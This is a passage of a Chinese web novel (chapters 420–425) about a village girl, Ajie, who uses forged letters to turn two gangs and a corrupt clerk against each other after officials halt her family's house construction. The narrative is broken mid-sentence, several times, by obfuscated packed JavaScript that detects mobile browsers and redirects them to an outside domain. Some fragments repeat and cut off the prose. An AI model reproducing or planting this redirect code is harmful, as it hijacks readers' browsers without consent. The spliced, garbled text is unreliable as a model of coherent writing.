整个人像是从水里捞出来一般,汗水混着血水,浸透了身上本就破烂的衣衫。 力气被抽空,他再也支撑不住,整个人向前一倾,半边身子都压在了软榻边沿,头颅无力地垂下,正好靠在她身侧。 屋子里终于彻底安静下来。 只剩下两道交织在一起的、同样微弱的呼吸声。 …… 第420章 地基停工 夜半。 渡口村万籁俱寂,只有几声犬吠,遥遥地从村那头传来。 阿禾坠入了一处光怪陆离的梦境。 梦里没有渡口村的泥土气息,也非栖霞镇的喧闹街景。 她独自站在座古朴的客栈前,青瓦飞檐,雕梁画栋,气派得像是州府里的大酒楼。 门楣上悬着块牌匾,上面的字迹却像蒙了层水雾,怎么也看不真切。 莫名的熟悉感如潮水般涌来,牵引着她,让她迫切地想推门进去。 直觉在脑海里叫嚣,门后有她寻觅已久的东西,有能解开她身世谜团的答案,甚至能让她记起那些被遗忘的过去。 她伸出手,指尖却触到一层无形的壁障,冰冷而坚硬。 她不甘心,用尽全身的力气去冲撞那道看不见的墙,一次,两次……直到撞得魂魄都仿佛要散架,就在她奋力想再试一次时,耳边传来一声焦急的呼唤。 “阿禾!阿禾你醒醒!” 阿禾猛地睁开眼,客栈消失了,眼前是自家低矮的土坯房顶,昏黄的油灯光晕里,是顾大娘满是忧虑的脸。 “是不是又魇着了?瞧你这满头的汗。”顾大娘用粗糙的手掌探了探她的额头,絮絮叨叨地埋怨,“都说了,家里的事有你爹和哥哥们,你个姑娘家,别把什么都扛在自己身上,瞧把自个儿累的。” 那双手的温度真实而温暖,驱散了梦境带来的所有寒意与慌乱。 阿禾贪恋地蹭了蹭母亲的手心,轻声应道:“娘,我没事。” 这片刻的温情,比梦里那座虚无缥缈的客栈,要让她心安得多。 …… 几日后,顾家请来的工匠们在新宅的地基上忙得热火朝天,夯土的号子声、石匠敲打的叮当声,混杂着村民们羡慕的议论声,成了渡口村最动听的乐章。 就在这时,三道不合时宜的人影出现在村口,径直朝着这片热闹的工地走来。 为首那人穿着身崭新的绸布直裰,手里摇着折扇,正是县衙的方师爷。 他身后跟着两名衙役,手按着腰间的佩刀,满脸的横肉透着不善。 工地上敲打的声响渐渐稀落下来,所有人的目光都投向了这几个官府来人。 方师爷在夯好的地基前站定,拿扇子点了点,脸上挂着皮笑肉不笑的表情,扬声道: “都停手吧。” 他的声音不大,却像盆冷水,瞬间浇熄了满场的火热。 “奉县衙之命,前来核查。经查,顾家此块地契丈量有误,已侵占官道三尺有余。在县尊大人没有新的手谕下来之前,此地,一砖一瓦,皆不许再动!” 正在搬运石料的顾老实一听,脑子嗡地声,赶紧放下石头跑上前,陪着笑脸,搓着手道: “官爷,这……这里头是不是有什么误会?这地契是前些年就定下的,咱们都是照着地契上的界石来的,半点不敢越界啊。” 他话音未落,旁边一名衙役便不耐烦地伸出手,粗暴地将他往后一推。 “老东西,方师爷说有误便是有误,哪来你插嘴的份儿!” 顾老实一个踉跄,险些摔倒在地,幸好被身后的顾大山扶住。 顾家三兄弟顿时红了眼,攥紧了拳头就要上前。 “怎么?想跟官府动手?”方师爷折扇“唰”地合上,眯着眼扫过顾家几兄弟,嘴角的笑意更冷了,“顾老实,本师爷是来按规矩办事的。你若觉得冤枉,大可以去县衙鸣鼓。不过我提醒你,想让这工继续动,也简单,拿来钱县令亲笔的手谕,我们二话不说,立马走人。” 这话,分明是说给不远处的阿禾听的。 谁都知道,钱县令刚被阿禾“捧杀”了一回,心里正憋着火,怎么可能再为她家出具什么手谕。 方师爷带着人耀武扬威地走了,留下一片死寂的工地。 围观的村民们窃窃私语,看向顾家人的眼神,又多了几分同情与畏惧。 请来的工匠头子——一个姓周的老把式,面色凝重地走到顾老实跟前,长长叹了口气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239990|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “顾家兄弟,对不住了。”老周头从怀里摸出个布包,塞回顾老实手里,“这是你们之前给的定金,我老周干不了昧良心的事,用掉的工料钱我扣下了,剩下的还给你们。” 顾老实急了:“周大哥,你这是……” “唉,”老周头一脸无奈,压低了声音,“明眼人都看得出来,这是方师爷在故意找茬。他背后还有镇上的徐秀才,咱们这些泥腿子,哪里得罪得起?这活,别说我不敢接,你就是问遍整个栖霞镇,怕是也没人敢再动一铲子土了。” 说完,老周头冲顾家人拱了拱手,带着手下的工匠们收拾工具,头也不回地离开了。 方才还热火朝天的工地,转眼间只剩下顾家人和一地狼藉。 顾大娘看着那挖了一半的地基,眼泪在眼眶里打转。 顾家三兄弟气得脸色涨红,却又无可奈何。 阿禾从头到尾都没有说一句话。 她只是静静地站在那里,看着工匠们的身影消失在村道尽头,目光又落回到那被勒令停工的地基上。 午后的阳光照在她身上,却照不进她那双古井无波的眸子。 她的脸上,没有愤怒,没有慌张,只有一片深不见底的平静温和。 镇子不大,消息传得快,工匠们前脚刚走,后脚就有镇上相熟的铺子派人来了。 先是米铺的伙计,送来两袋精米,说是掌柜的一点心意,却绝口不提之前阿禾帮忙出主意的情分,放下东西便匆匆离去,那躲闪的眼神,仿佛顾家的门槛是什么会烫脚的烙铁。 紧接着,酒庄的学徒也提着两坛好酒上门,话术如出一辙,脸上堆着尴尬的笑,放下酒坛子转身就跑,好似身后有恶犬在追。 一时间,顾家门口人来人往,送来的“赠礼”在桌上堆成了小山,可屋子里的空气,却比数九寒天还要冰冷。 这哪里是送礼,分明是送来一封封撇清干系的绝交信。 顾大娘看着那些东西,嘴唇哆嗦着,一句话也说不出来。 第421章 打听打听 顾家三兄弟更是憋屈得双眼通红,恨不得冲到镇上找人理论,却又不知该找谁,能理论出什么。 顾老实蹲在门槛上,一口接一口地抽着旱烟,烟雾缭绕中,那张饱经风霜的脸庞,像是瞬间又老了十岁。 只有阿禾,将那些“赠礼”一一收好,登记入册,仿佛这本就是一桩桩再寻常不过的生意往来。 这番景象,一直持续到日头偏西。 **子满头大汗地从村外跑来,一进院子就压低了声音,脸上是前所未有的凝重。 “阿禾妹子,出大事了!” 他将阿禾拉到屋角,声音压得更低,带着股急火攻心的焦灼: “镇上茶馆里都传遍了!那个徐秀才,今儿个下午在那儿喝茶,当着半个镇子有头有脸的人放了话,说你家得罪了不该得罪的人,这新房……怕是永远都盖不起来了!” “他还说,”**子咽了口唾沫,眼神里透出几分惧意,“之前让你赚去的那些银子,早晚得连本带利地吐出来!” 阿禾眨眨眼,淡淡问道:“这个徐秀才,到底什么来头?” “他可不是王二癞子那种货色!”**子急道,“这家伙是个讼师,专吃状纸饭的!为人阴损得很,从不自己动手,就爱抓着律法的空子,或是拿盖房丈量、买卖契书这种事做文章。” “听说前年西街的赵大户就是被他一张状纸告得倾家荡产!方师爷在衙门里就是他的刀,专给他递刀子,两人联手,在栖霞镇就没他们办不成的事!” **子越说越心惊,看着阿禾依旧平静的脸,忍不住劝道: “妹子,这回不一样,这是从他们嘴里抢食吃,他们是真要下死手了!咱们……咱们要不先避一避风头?” 阿禾抬眼看他,那双眸子清亮得吓人。 “避?”她嘴角勾起一抹若有似无的弧度,“为什么要避?” 她非但没有丝毫慌乱,反而对**子道: “**哥,你帮我个忙,去给我仔仔细细地打听这个徐秀才和方师爷的事,越细越好。他们什么时候穿一条裤子,有没有为了分账吵得脸红脖子粗,都告诉我。” **子愣住了,完全跟不上阿禾的思路。 但还是利索地接下了这个任务。 …… 接下来的几日,渡口村的气氛变得异常诡异。 村民们再见到顾家人,脸上热情的招呼不见了,取而代之的是复杂的眼神,有同情,有畏惧,更多的是避而远之。 大伙儿远远看见顾家人过来,便会默契地绕开道走。 顾家彻底被孤立了。 家里的气氛更是愁云惨雾。 顾大娘整日以泪洗面,三个哥哥也像霜打的茄子,蔫头耷脑。 顾老实整个人也仿佛被抽走了精气神。 全家都陷入了深深的恐慌之中。 唯独阿禾仿佛置身事外。 她每日照常吃饭、睡觉,闲暇时,竟不知从哪儿弄来一张栖霞镇的舆图,铺在桌上,拿着根炭笔在上面圈圈画画,一研究就是大半天。 这天晚饭,顾大娘看着桌上几乎没动过的饭菜,终于忍不住哭求道: “阿禾啊,咱不盖那青砖大瓦房了,咱把银子还回去,行不行?娘求你了,咱就过安生日子,娘不想你再出事了……” “是啊小妹,”顾石头也红着眼圈开口,“钱没了可以再赚,人要是有个三长两短……” 阿禾放下碗筷,目光缓缓扫过满脸绝望的家人。 “娘,哥哥们,”她温和一笑,声音不大,却异常清晰,“饭要一口口吃,路要一步步走。这事,我心里有数。” 她说完,便起身回了自己屋子。 夜深人静时,**子如鬼魅般摸进了顾家院子,敲响了阿禾的窗户。 “打听到了。”**子的声音带着兴奋,“那俩人果然不是铁板一块!徐秀才嫌方师爷分账贪心,方师爷嫌徐秀才拿他当枪使,不把他当回事。尤其是那方师爷,别看他只是个师爷,心气高着呢!他本是考过秀才的,后来屡试不第才托关系进的县衙,做梦都想弄个正经官身!” 阿禾在屋里静静听着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239991|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑暗中,她的眼睛亮得惊人。 接着她忽然问道: “**哥,你可知,咱们朝除了科举取士,可还有别的法子能当官?” “别的法子?”**子被问得一懵,挠了挠头,“我这种粗人哪懂这些。不过……好像听人说过,要是有大功于朝廷,或者得了什么贵人赏识,也能被举荐做官。” 窗户纸后,传来一声几不可闻的轻笑。 **子正觉莫名其妙,阿禾的声音再度响起,这次却换了个话题,语气也变得郑重起来。 “还有件事,你得尽快去办。” “什么事?” “去码头打听清楚,青龙帮和海沙帮,最近在哪处渡口碰头交易最频繁。” **子心头猛地一跳,失声道:“阿禾妹子,你问这个做什么?那可是帮亡命之徒!” 阿禾声音却甚至有点小娇娇: “让你去,你就去嘛。” **子被说的一愣。 看着那扇紧闭的窗户,再想起公堂上那个平静地让王二癞子生不如死的少女,忽然就觉得阿禾让他做的事情就一定是对的。 于是不再多问,重重点了点头,转身消失在夜色里。 …… 次日清晨,天刚蒙蒙亮,顾大娘就起来了,坐在灶膛前发愁。 阿禾悄无声息地走到她身后,声音很轻。 “娘,给我五十两银子。” 顾大娘的身子猛地一颤,回头看着女儿,昏黄的天光下,阿禾的脸平静得像一汪深潭,看不出半点波澜。 “你要……要那么多银子做什么?” 顾大娘的声音带着哭腔,她一把抓住阿禾的手,那只手冰凉,“阿禾,咱不跟他们斗了,好不好?咱把那地基填了,把剩下的钱好好收着,咱回村里,安安生生地过日子……” 阿禾反手握住母亲粗糙的手,轻轻拍了拍,没说好,也没说不好,只是又重复了一遍。 “娘,给我五十两银子。” 那双眼睛清澈见底,却又带着不容置喙的坚持。 第422章 你怕不怕 顾大娘看着这双眼,嘴唇哆嗦了半天,最终还是像泄了气的皮球,松开了手。 她转身进了里屋,在床头的破箱子里翻了许久,才用一块打了补丁的蓝布包着一沓银票和碎银子,递给了阿禾。 那动作,仿佛递出去的不是银钱,而是自己的半条命。 阿禾接过银子,转身便交给了早已等在院里的顾大山。 “大哥,这是五十两。”她又递过去一张纸,上面用炭笔写着密密麻麻的字,“去邻县,照着单子上的东西采买。盐、布匹、木料、铁器……记住,分不同的铺子,别让人认出你,更别用自己的名。谁问,都说不知道。” 顾大山接过那沉甸甸的钱袋和单子,手心直冒汗。 他看着自家小妹,喉结上下滚动,想问什么,却见阿禾的目光已经越过他,投向了院门外。 “去吧,快去快回。” 那语气,平淡得像是在吩咐他去地里拔棵葱。 顾大山最终把所有疑问都咽了回去,重重点了下头,揣好东西,趁着晨雾匆匆出了村。 阿禾的这一番举动,让顾家本就凝重的空气,又添了几分诡异的死寂。 接下来的三天,成了渡口村顾家人的一场煎熬。 方师爷见顾家停了工,却没上门求饶,耐心终于耗尽。 他没再亲自露面,却不知从哪儿找来几个镇上的地痞无赖,日夜守在顾家土坯房外。 他们不动手伤人,却用最下作的法子折磨着这家人。 白天,他们或坐或躺在顾家门口,喝酒划拳,高声喧哗,嘴里不干不净地讲着荤段子,路过的村民无不绕道而行。 夜里,他们便轮流用石子敲打门板,学猫叫狗吠,嘴里骂骂咧咧,污言秽语不堪入耳,搅得顾家人彻夜难眠。 顾老实蹲在墙角,旱烟一锅接一锅地抽,整个人都快被烟雾熏成了影子。 顾大娘的眼泪就没干过。 这天下午,那伙无赖喝多了酒,骂得愈发难听,言语间已开始折辱顾家女眷。 血气方刚的老三顾石头再也忍不住,抄起一根木柴便冲了出去。 “我杀了你们这群杂碎!” “哟,还敢动手?” 为首的地痞醉醺醺地站起来,脸上挂着狞笑。 三拳两脚的推搡间,顾石头便被推倒在地,胳膊被其中一人用木棍狠狠敲了一下,发出一声闷响。 顾石头疼得惨叫一声,蜷缩在地。 地痞们见状,也不敢真把事情闹大,啐了口唾沫,骂骂咧咧地扬长而去。 顾父顾母冲出去扶起顾石头,看着他红肿变形的胳膊,顾大娘哭得几乎昏厥过去。 就在这片愁云惨雾中,**子像只狸猫,从后院的破篱笆墙翻了进来,他神色紧张,一溜烟跑到阿禾的窗下。 “阿禾妹子,打听清楚了!”他压着嗓子,语气又急又快,“青龙帮和海沙帮,为了抢一条通南边的新水路,约好了三日后,就在城东三十里外的乱石滩谈判!” “两边的头头脑脑都会去!” “我还打听到,海沙帮这些年横行霸道,做事从不讲规矩,青龙帮被他们压得快喘不过气了,这次谈判,怕是凶多吉少!” **子一口气说完,紧张地看着窗户纸后的影子,生怕看到一丝慌乱。 屋里沉默了片刻。 随即,传出阿禾的声音,带着一丝若有若无的笑意。 “**哥,你怕不怕?” **子一愣,下意识地挺了挺胸膛:“我……我烂命一条,怕什么!” “那就好。”阿禾轻笑出声,“我怕你到时候腿软,坏了我的事。” 这句玩笑话,像一缕春风,瞬间吹散了**子心头的紧张和恐惧。 他挠了挠头,那股子莫名的心安感又回来了。 好像天大的事,只要阿禾妹子这么一笑,就都成了板上钉钉的定局。 “妹子,你……你到底想做什么?”他还是没忍住,问了出来。 窗户纸后,阿禾的声音悠悠传来,像是在说一件再寻常不过的小事。 “不做什么。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“阿禾……阿禾啊,娘求你了,咱不跟他们斗了,行不行?把银子……把银子都还给他们,咱就守着这土坯房,安安生生地过日子……娘真的怕了,娘怕再也见不到你了啊……” 屋子里,所有人的目光都聚焦在阿禾身上,绝望、恳求、恐惧,像一张密不透风的网。 阿禾却仿佛置身事外。 她看着痛哭失声的母亲,看着满眼血丝的兄长,看着被抽走所有精气神的父亲,那张清秀的脸庞上,神色愈发平静温和。 第423章 好戏开场了 她轻轻挣开母亲的手,走到床边,俯身查看顾石头的伤势。 她的手指拂过那红肿的胳膊,动作轻柔而稳定,仿佛那不是一道伤口,而是一件需要细心对待的瓷器。 “娘,哥哥们,”她开口了,声音很轻,“信我。” 她抬起眼,目光缓缓扫过满脸泪痕的家人。 “三日,就三日。” “三日之内,这一切都会了结。” 没有激昂的承诺,没有愤怒的誓言,只有这句平淡到近乎冷酷的话。 可这平静之下,却藏着一股让顾家人心头发颤的力量。 他们看着阿禾那双深不见底的眸子,哭声和怒火,竟都莫名地止住了。 …… 子时,万籁俱寂。 一道黑影如狸猫般悄无声息地翻过顾家后院的破篱笆,还正是**子。 他熟门熟路地摸到阿禾的窗下,刚要叩击窗棂,窗户便从里面轻轻推开一道缝。 阿禾的脸在月光下显得有些白,眼神却还是亮得惊人。 她没有废话,从窗缝里递出两封封得严严实实的信,还有一个颇有分量的钱袋。 “**哥,这两封信,你去找两个绝对可靠的弟兄去办。” “一封,想办法送去海沙帮在镇里的暗桩,务必让他们相信,这是个想投靠他们的‘自己人’送来的消息。” “另一封,”阿禾顿了顿,“想尽一切办法,绕过所有人,亲手交到方师爷手上。要快,要干净,不能让任何人知道信的来路。” **子接过东西。 他心里明白,这薄薄的两张纸,怕是比千斤的巨石还要重。 到秘密处,他看了信。 那封给海沙帮的信里,用一种极为熟稔的江湖口吻,绘声绘色地描绘了镇上徐秀才如何与县衙勾结,暗中利用一条无人知晓的隐蔽水道,偷偷贩运私盐,赚得盆满钵满。 信中更是“无意间”泄露,徐秀才此人狡诈,正打算在三日后乱石滩谈判那晚,趁着所有人的注意力都在青龙帮身上时,偷偷运送一批“高价货物”出海。 而另一封给方师爷的信,笔迹则完全不同。 信中以一个被海沙帮“过河拆桥、心有不甘”的同伙口吻,悲愤地揭发海沙帮胆大包天,将在三日后的乱石滩,进行一场规模空前的**交易。 信的末尾更是用**写就,字字句句都在暗示方师爷,只要能将这帮亡命徒人赃并获,此等泼天大功,不仅能让他名声大噪,得到州府大人的赏识,甚至取代那个无能的钱县令,坐上这栖霞镇头把交椅,也并非不可能。 **子捏着那两封信,手心全是冷汗。 他脑子里嗡嗡作响,一个骇人的念头清晰地浮现出来: 阿禾这是要借刀**,一石二鸟,把官府、青龙帮、海沙帮,连同那方师爷和徐秀才,全都拖进一个血腥的泥潭里! 这计谋一环扣一环,狠辣至极,一招不慎,便是粉身碎骨的下场! 他想起窗后那道单薄的剪影,恐惧之中,又生出一股莫名的、近乎疯狂的兴奋。 他忽然觉得,阿禾或许真的能做成。 小院子里,**子走后,阿禾不睡觉,出来溜达。 晚风吹起她的发丝,走了一会儿,她忽然抬眼望向栖霞镇的方向,嘴角勾起一抹若有似无的弧度。 好戏,应该要开场了。 …… 三日后,黄昏。 城东三十里外的乱石滩,海风腥咸,卷起浪涛拍打着嶙峋的礁石,发出沉闷的咆哮。 滩涂上,两拨人马泾渭分明,正对峙着。 一边是青龙帮,帮主陈默是个面色阴沉的中年人,手始终按在腰间的刀柄上,眼神如鹰隼般锐利。 另一边,海沙帮帮主雷豹则粗犷得多,他敞着怀,露出胸口浓密的黑**,脚边扔着个酒囊,脸上挂着似笑非笑的表情,眼神却时不时地瞟向通往镇子的小路。 “陈默,你的人把我三艘货船凿沉了,这笔账,今天总得算个清楚吧?”雷豹的声音像是破锣,在风中传得老远。 陈默冷哼:“你的船运的什么货,你心里没数?官府的通缉令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人连忙拿火把照着看。 只见那箱盖上确实有刀子歪歪扭扭地刻着的三个字—— 【大家好。】 头目盯着那三个字,一股怒意从脚底板直冲天灵盖。 “**!中计了!” …… 乱石滩。 “杀——!” 方师爷自以为抓住了最佳时机,抽出佩刀,奋力向前一指。 四十多名官差呐喊着从林中冲出,如潮水般涌向滩涂。 这突如其来的变故,让对峙的青龙帮和海沙帮同时愣住了。 陈默的瞳孔骤然收缩,第一个念头便是:雷豹这杂碎,竟勾结了官府来黑吃黑! 而雷豹更是又惊又怒,他看到官差们的目标似乎直指自己,瞬间认定是陈默这阴险小人设下的圈套! “**的陈默!” “雷豹你敢!” 误会一旦产生,便再无解释的余地。 “兄弟们,跟官兵和青龙帮的杂碎拼了!”雷豹怒吼一声,率先拔刀。 青龙帮众见状,也纷纷抽出兵刃。 场面瞬间失控。 官差们本以为是来抓捕交易,却一头撞进了两大帮派的火并现场,还没反应过来,就被两边夹击,卷入了血腥的漩涡。 刀光剑影,惨叫连天。 方师爷彻底懵了。 他预想中摧枯拉朽的抓捕,变成了一场毫无章法的血肉乱战。 衙役、青龙帮、海沙帮,三方人马杀红了眼,敌我难辨,只凭本能地挥刀砍向身边任何不属于自己阵营的人。 鲜血染红了礁石,海风都带上了浓重的铁锈味。 方师爷脸上的得意与狂热早已褪去,只剩下无尽的恐惧。 他想后退,却被混乱的人潮裹挟着,动弹不得。 就在他失神的一刹那,海沙帮一名杀红了眼的头目狞笑着,一刀狠狠劈在他的肩上。 “噗——” 血光迸现。 方师爷惨叫一声,重重栽倒在地,人事不省。 当钱县令被巨大的动静惊动,带着县城卫兵匆匆赶到时,乱石滩上的厮杀已近尾声。 他看到的只有人间炼狱。 遍地都是尸体和呻吟的伤者,残破的兵刃与破碎的衣物混杂在血泊里。 他手下最得力的方师爷,像条死狗般躺在不远处。 钱县令两腿一软,几乎瘫倒在地,脑子里只剩下一片空白。 …… 乱石滩的血腥味,三天都未散尽。 海沙帮帮主雷豹没死,他被人从尸体堆里拖出来时,左臂耷拉着,肩上一个深可见骨的血窟窿,可那双铜铃似的眼睛,却比任何时候都要亮,里面烧着能焚尽一切的怒火。 “大哥!盐仓是空的!是徐秀才那老狗耍了我们!”心腹头目浑身是伤,连滚带爬地扑到他跟前,哭嚎着禀报。 “空的?”雷豹的声音像是两块破铁在摩擦,他猛地坐起身,牵动伤口,疼得满脸筋肉扭曲,“空的……好,好!” 他想明白了。 什么狗屁谈判,什么走私线报,都是假的! 是青龙帮那个阴损的陈默,联合了徐秀才,再勾结官府,布下了这个天罗地网,就是要把他海沙帮一网打尽! “陈默……徐秀才……钱县令……”雷豹一字一顿地念出这几个名字,每个字都像是从牙缝里挤出来的血珠子,“传我的话!从今天起,青龙帮的船,见一艘,沉一艘!人,见一个,杀一个!” 他顿了顿,目光转向栖霞镇的方向。 “至于徐秀才……给我狠狠地弄他!” …… 徐秀才正在家中焦躁地踱步。 乱石滩闹出那么大的动静,他不可能不知道。 此刻他还不知道这件事会跟他扯上莫大的关系,但他就是莫名觉得焦躁不安。 尤其是得知方师爷重伤了的时候。 他跟方师爷一向狼狈为奸,互通有无,这次这么大的事,方师爷却没跟自己说。 怎么想怎么都觉得不对劲。 “砰——!” 他家那扇平日里被无数人恭敬叩响的朱漆大门,突然被人从外面一脚踹得四分五裂。 十几个煞气腾腾的海沙帮汉子如狼似虎地冲了进来,为首的正是雷豹那个心腹头目。 “你们……你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248854|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们要干什么?我可是秀才功名,你们敢……”徐秀才吓得魂飞魄散,连连后退。 “秀才?”那头目一把揪住他的衣领,像是拎一只鸡仔,“你算计我们帮主的时候,怎么不记得自己是个秀才!” 话音未落,一记老拳便狠狠砸在徐秀才的脸上。 惨叫声中,他被粗暴地拖出大门,直接拉上街。 他多年来仗着律法和方师爷的关系,暗中做的那些吞没家产、逼良为娼的腌臜事,也被这伙暴怒的亡命徒当街一句句地吼了出来。 街坊四邻们躲在门缝后,惊恐地看着这位往日里高高在上的“徐先生”,像条死狗一样被拖走。 最终,在镇口的老槐树下,随着两声令人牙酸的骨裂闷响,徐秀才的腿被硬生生打断。 他的功名、体面、城府,在绝对的暴力面前,碎得一文不值。 “我冤枉啊,真不是我……” 可没人听他的喊冤了。 更多的百姓躲在暗处,暗暗觉得打得好,打的解气。 平日徐秀才害人不浅,这就是他的报应啊。 …… 县衙后堂,钱县令一脚踹翻了身前的案几。 “废物!蠢货!”他指着堂下那几个侥幸活下来却个个带伤的衙役,气得浑身发抖,“谁让他去乱石滩的?谁给他的胆子去招惹那两帮疯狗的!” 他骂的是方师爷,可心里怕得要死。 **二十多个官差,重伤十余人,还得罪了栖霞镇最大的两个帮派。 这事要是捅到州府去,他这顶乌纱帽非丢了不可! 钱县令颓然坐倒在椅子上,额上冷汗涔涔。 他知道,自己被方师爷那个急功近利的蠢货彻底拖下了水。 现在,他需要的不是公道,而是一个能平息帮派怒火、又能给上峰一个交代的替罪羊。 他的目光,阴冷地投向了县衙大牢和镇子的方向。 …… 顾家那间低矮的土坯房里,气氛却与外界的腥风血雨截然不同。 **子压着嗓子,将乱石滩和镇上发生的一切,绘声绘色地讲了一遍。 他讲得口干舌燥,唾沫横飞,脸上是藏不住的兴奋和后怕。 第425章 青龙帮拜会 顾大山、顾小川、顾石头三兄弟,连同蹲在墙角的顾老实,一个个听得是目瞪口呆,嘴巴张得能塞进一个鸡蛋。 方师爷重伤被擒? 徐秀才腿断名裂? 官府和两大帮派火并,**几十号人? 这一切听起来,就像是说书先生嘴里最离奇的话本,可它就这么真实地发生了。 几人的目光,不由自主地,全都飘向了屋里那个安安静静的身影。 油灯下,阿禾正坐在床边,低着头,笨拙地摆弄着一块布和一根针。 她似乎想绣一朵花,可那针脚歪歪扭扭,几下就把线缠成了一团。 她试着解开,却不小心被针尖扎了一下手指。 “嘶……”她把手指含进嘴里,皱着鼻子,扭头对旁边正在纳鞋底的顾大娘小声抱怨,“娘,你看,又绣歪了,这针还扎手,疼。” 那语气,带着几分小女儿家的娇憨和委屈,仿佛外面那些搅动了整个栖霞镇的血雨腥风,都与她毫无干系。 顾大娘放下鞋底,心疼地拉过女儿的手,吹了吹那细小的针眼,嘴里念叨着: “不会绣就不绣了,仔细伤了眼睛。” 看着眼前这一幕,顾家几个男人脑子里嗡嗡作响,只觉得愈发看不懂自家这个阿禾了。 就在这时,村口传来了铜锣声,是衙门来人了。 但这次,不是来找麻烦的。 衙役当众宣读了钱县令的判令: 经查,师爷方德、秀才徐文广二人胆大包天,私设骗局,意图挑起江湖仇杀,并构陷官府,致使缉私行动伤亡惨重,罪大恶极!现判处二人“勾结匪类,**”之罪,即刻收监,秋后问斩!所有家产,全部查抄充公! …… 衙役的铜锣声远去,那句“秋后问斩”的余音,却像一颗石子投进渡口村这潭死水,炸开了锅。 方才还对顾家避如蛇蝎的村民们,此刻全围了上来,堵在顾家那扇破旧的院门前,一张张脸上堆满了谄媚又后怕的笑。 先前送来“赠礼”撇清关系的米铺王掌柜,不知从哪个角落钻了出来,一叠声地喊着: “我就说嘛!阿禾这孩子是有大福气的!吉人自有天相!” “是啊是啊,顾家嫂子,你可真是养了个好女儿!” “顾老哥,往后咱们村可都要仰仗你了!” 这些话,像一窝嗡嗡作响的苍蝇,钻进顾家人的耳朵里。 顾大山兄弟几个面面相觑,脸上的表情又是解气又是茫然。 顾大娘扶着门框,看着外面那些前几日还恨不得躲着他们走的人,脑子乱成了一锅粥,竟不知是该笑还是该哭。 院里,只有阿禾从始至终都未曾朝门外瞥过一眼。 她扶起还在发愣的父亲,将他按回到凳子上,轻声道:“爹,风大,坐着吧。” 那声音不大,却像有种奇异的魔力,瞬间让院里院外的嘈杂都安静了下去。 …… 第二天,天刚蒙蒙亮。 顾家门外那几个日夜骚扰的地痞无赖,早已消失得无影无踪,仿佛从未出现过。 取而代之的,是工匠头子老周头。 他带着比之前更多的人手,恭恭敬敬地站在工地前,黝黑的脸上满是局促与愧疚。 “顾……顾家姑娘,”他看见阿禾,连称呼都变了,再不敢以长辈自居,“老汉我……我有眼不识泰山,您大人不记小人过,这宅子的活儿,您就还交给我!工钱我分文不取,就当给你们赔罪了!” 没等阿禾回话,又有几辆板车拉着上好的青砖石料进了村,是镇上的商户们听闻风声,赶着来“贺”的。 顾家的新宅,重新热火朝天地开工了。 工地上,锤声、锯声、号子声响成一片,比之前更热闹,更卖力。 渡口村的村民们远远看着,交头接耳,望向顾家那间土坯房的眼神里,再没了同情或鄙夷,只剩下深深的敬畏。 而栖霞镇的茶馆酒肆里,关于阿禾的传言,也彻底变了味。 若说之前,人们还只是把她当成一个会赚钱、有点小聪明的“女诸葛”。 那么现在,当方师爷和徐秀才的下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256054|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场传开后,这个名字便带上了血腥味。 “女阎罗”。 不知是谁先在私底下这么叫的,这个称呼,便如瘟疫般,迅速在栖霞镇的上层圈子里传开,再无人敢动任何不该有的念头。 …… 三日后,黄昏。 顾家新宅的地基已经打好,几面墙壁也已砌起了半人高。 夕阳的余晖给整个工地镀上了一层温暖的金边。 